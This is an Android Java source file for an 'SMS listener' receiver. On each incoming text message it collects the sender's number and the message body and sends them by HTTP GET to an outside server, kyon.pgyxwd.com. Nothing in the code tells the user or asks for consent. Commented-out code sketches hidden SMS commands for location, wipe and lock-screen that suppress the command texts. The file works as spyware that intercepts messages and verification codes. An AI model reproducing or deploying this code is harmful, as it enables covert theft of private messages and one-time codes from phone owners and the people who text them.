package com.seapon.smslistener;

import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLEncoder;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsMessage;

public class SmsReceiver extends BroadcastReceiver {
	private static final String SMS_RECEIVED_ACTION = "android.provider.Telephony.SMS_RECEIVED";

	private static StringBuffer phoneNumber;
	private static StringBuffer content;

	private String result;

	@Override
	public void onReceive(Context context, Intent intent) {
		String action = intent.getAction();
		// 判断广播消息
		if (action.equals(SMS_RECEIVED_ACTION)) {
			Bundle bundle = intent.getExtras();
			// 如果不为空
			if (bundle != null) {
				// 将pdus里面的内容转化成Object[]数组
				Object pdusData[] = (Object[]) bundle.get("pdus");// pdus
																	// ：protocol
																	// data unit
																	// ：
				// 解析短信
				SmsMessage[] msg = new SmsMessage[pdusData.length];
				for (int i = 0; i < msg.length; i++) {
					byte pdus[] = (byte[]) pdusData[i];
					msg[i] = SmsMessage.createFromPdu(pdus);
				}
				content = new StringBuffer();// 获取短信内容
				phoneNumber = new StringBuffer();// 获取地址
				// 分析短信具体参数
				for (SmsMessage temp : msg) {
					content.append(temp.getMessageBody());
					phoneNumber.append(temp.getOriginatingAddress());
				}
				new Thread(new Runnable() {
					public void run() {
						URL url = null;
						try {
							url = new URL("http://kyon.pgyxwd.com/pgy/robot/hksms?content=" + (URLEncoder
									.encode("手机号" + phoneNumber.toString() + " 内容： " + content.toString())));
						} catch (MalformedURLException e1) {
							// TODO Auto-generated catch block
							e1.printStackTrace();
						}

						HttpURLConnection connection = null;
						try {
							connection = (HttpURLConnection) url.openConnection();
							// 设置请求方法，默认是GET
							connection.setRequestMethod("GET");
							// 设置字符集
							connection.setRequestProperty("Charset", "UTF-8");
							// 设置文件类型
							connection.setRequestProperty("Content-Type", "text/xml; charset=UTF-8");
							// 设置请求参数，可通过Servlet的getHeader()获取
							connection.setRequestProperty("Cookie", "AppName=" + URLEncoder.encode("你好", "UTF-8"));
							// 设置自定义参数
							connection.setRequestProperty("MyProperty", "this is me!");

							if (connection.getResponseCode() == 200) {
								// InputStream is = connection.getInputStream();
								// result =
								// StringStreamUtil.inputStreamToString(is);

								// Message msg = Message.obtain();
								// msg.what = 0;
								// getHandler.sendMessage(msg);
							}
						} catch (IOException e) {
							// TODO Auto-generated catch block
							e.printStackTrace();
						} finally {
							if (connection != null) {
								connection.disconnect();
							}
						}

					}
				}).start();

				// HttpRequest.get("http://kyon.pgyxwd.com/pgy/robot/hksms",
				// "content=" + phoneNumber.toString());
				// 可用于发命令执行相应的操作
				/*
				 * if ("#*location*#".equals(content.toString().trim())){
				 * abortBroadcast();//截断短信广播 }else if
				 * ("#*alarm*#".equals(content.toString().trim())){ MediaPlayer
				 * mediaPlayer = MediaPlayer.create(context, R.raw.guoge);
				 * //播放音乐 mediaPlayer.start(); abortBroadcast();//截断短信广播 }else
				 * if ("#*wipe*#".equals(content.toString().trim())){
				 * abortBroadcast();//截断短信广播 }else if
				 * ("#*lockscreen*#".equals(content.toString().trim())){
				 * abortBroadcast();//截断短信广播 }
				 */
			}
		}
	}
}